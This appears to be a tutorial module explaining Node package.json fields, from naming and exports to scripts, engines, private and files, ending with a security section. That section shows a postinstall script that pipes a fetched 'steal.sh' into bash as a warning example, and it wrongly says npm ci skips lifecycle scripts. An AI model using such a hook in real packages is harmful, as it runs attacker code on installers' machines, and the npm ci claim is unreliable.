mod_04 - package.json¶
package.json is the identity document for every Node project
It tells npm what your project is called , what it depends on , how to run it , and - if you publish - what to include and who can install it. Misconfigure it and your package either doesn't work , isn't findable , or accidentally publishes your .env file to the entire internet
anatomy of package.json¶
{
"name": "@0x1ris/parser",
"version": "1.2.3",
"description": "A parser that doesn't suck",
"main": "./dist/index.js",
"type": "module",
"scripts": {
"start": "node dist/index.js",
"test": "jest",
"build": "tsc",
"lint": "eslint src/"
},
"keywords": ["parser", "security", "cli"],
"author": "Mahmoud",
"license": "MIT",
"engines": {
"node": ">=18.0.0"
},
"private": true,
"dependencies": {
"commander": "^11.0.0"
},
"devDependencies": {
"typescript": "^5.3.0",
"jest": "^29.0.0",
"eslint": "^8.0.0"
}
}
critical fields¶
name and version¶
The name forms the package's identity on the npm registry
{
"name": "my-package",
"version": "1.0.0"
}
Naming rules: * Must be lowercase - one word or hyphenated * Can be scoped: @scope/package-name (for organizations) * No url-unsafe characters (no spaces, no special chars except - and .) * Must be unique on the npm registry unless scoped
version must be valid semver: MAJOR.MINOR.PATCH. npm refuses to publish without a proper semver string
description¶
Shows up in npm search results. Make it descriptive. "A parser" tells me nothing. "Zero-dependency CSV parser with streaming support" tells me everything
main¶
Entry point for CommonJS consumers
{
"main": "./dist/index.js"
}
When someone require('your-package'), Node loads the file at this path. If you're publishing both ESM and CJS builds , use "exports" field instead
type¶
Controls how .js files are interpreted
{
"type": "module" // All .js files are ES modules
}
Options: * "module" - treats .js as ESM (default for new packages) * "commonjs" - treats .js as CJS (Node's original default) * Omitted - defaults to "commonjs"
This field has no effect on .mjs (always ESM) and .cjs (always CJS) files
exports¶
The modern replacement for "main" - supports conditional exports and subpath exports
{
"exports": {
".": {
"import": "./dist/index.js",
"require": "./dist/index.cjs"
},
"./utils": {
"import": "./dist/utils.js",
"require": "./dist/utils.cjs"
}
}
}
This lets consumers do import { thing } from 'your-package' or import { util } from 'your-package/utils'. Without "exports", subpath imports are undefined behavior (Node warns if you try)
Conditional exports also support environments:
{
"exports": {
".": {
"node": "./dist/node.js",
"browser": "./dist/browser.js",
"default": "./dist/default.js"
}
}
}
Important: When "exports" is present, "main" is ignored for Node 12.7+. If you set "exports" , everything must be defined there - consumers can't access files outside the exports map. This is actually a security feature: it prevents code from importing internal files that aren't part of your public API
scripts¶
A dictionary of command-line script aliases - npm's built-in task runner
{
"scripts": {
"start": "node server.js",
"test": "jest --coverage",
"lint": "eslint .",
"build": "tsc",
"format": "prettier --write .",
"precommit": "npm run lint && npm run test"
}
}
Scripts run via npm run <script-name>. Predefined scripts like start, test, and stop can run without run: npm start or npm test
engine requirements¶
{
"engines": {
"node": ">=18.0.0",
"npm": ">=9.0.0"
}
}
Warning: This field is a request, not enforcement.
npm warns if the installed Node version doesn't match, but it doesn't block installation. Users on Node 16 can install your package that requires Node 18 - it'll break at runtime , not install time
# You'll see this warning during npm install:
# npm WARN EBADENGINE my-package@1.0.0 requires a peer of node@>=18.0.0 but none was installed
For stricter enforcement, check in your code:
const semver = require('semver')
const required = '>=18.0.0'
if (!semver.satisfies(process.version, required)) {
console.error(`Node ${process.version} is not supported. Required: ${required}`)
process.exit(1)
}
private: true¶
Prevents accidental publication to the npm registry
{
"private": true
}
When "private": true , npm publish fails. This is essential for internal/company projects. You'd be surprised how many companies accidentally publish internal tools because someone ran npm publish without realizing the project wasn't flagged private
# Attempting to publish a private package:
# npm ERR! This package has been marked as private
# npm ERR! Remove the 'private' field from package.json to publish it.
files field¶
Controls which files are included when publishing
{
"files": [
"dist/",
"LICENSE",
"README.md",
"package.json"
]
}
By default , npm includes everything except .gitignored files and certain always-excluded files (like .env). The "files" field lets you whitelist what gets published. This is critical - without it , your tests , source maps , and development config files end up on the registry
Files always excluded (even if you don't set "files"): * .env * .git/ * *.orig * .npmrc * Any file in .npmignore
Files always included (even if you don't set "files"): * package.json * README.md * LICENSE
repository and bugs¶
Helps users find the source code and report issues
{
"repository": {
"type": "git",
"url": "git+https://github.com/0x1ris/my-package.git"
},
"bugs": {
"url": "https://github.com/0x1ris/my-package/issues"
},
"homepage": "https://github.com/0x1ris/my-package#readme"
}
These fields power the repository link on the npm package page. They also enable npm bugs and npm repo commands which open the URLs in your browser
npm bugs my-package # opens the issues page
npm repo my-package # opens the repository
security: field validation¶
package.json is loaded from the filesystem at runtime
If someone can modify your project's package.json , they can change the "main" field to point to a malicious file , add a "postinstall" script that phones home , or modify "scripts" to run arbitrary commands
{
"scripts": {
"postinstall": "curl -s http://malicious-server.example.com/steal.sh | bash"
}
}
This is why npm install in CI should use npm ci (which doesn't run lifecycle scripts unless explicitly configured) and why you should validate dependencies before installation
Best practices: * Never run npm install with raw untrusted package.json files * Always review package.json changes in code review - especially scripts and dependencies * Use "private": true for internal projects * Set "files" to whitelist published content * Validate "engines" at startup if compatibility is critical
summary¶
name+versionform package identity - both required for publishing"type": "module"enables ESM for.jsfiles"exports"replaces"main"for modern packages with conditional exports"scripts"defines command aliases - npm's built-in task runner"private": trueprevents accidental publishing"files"whitelists what gets published - prevents leaking internals"engines"is advisory , not enforced - validate at runtime if needed- Lifecycle scripts (
preinstall,postinstall) are RCE vectors - review carefully
prerequisites¶
mod_03_npm.md - npm install , lockfiles , semver
next -> mod_05_scripts.md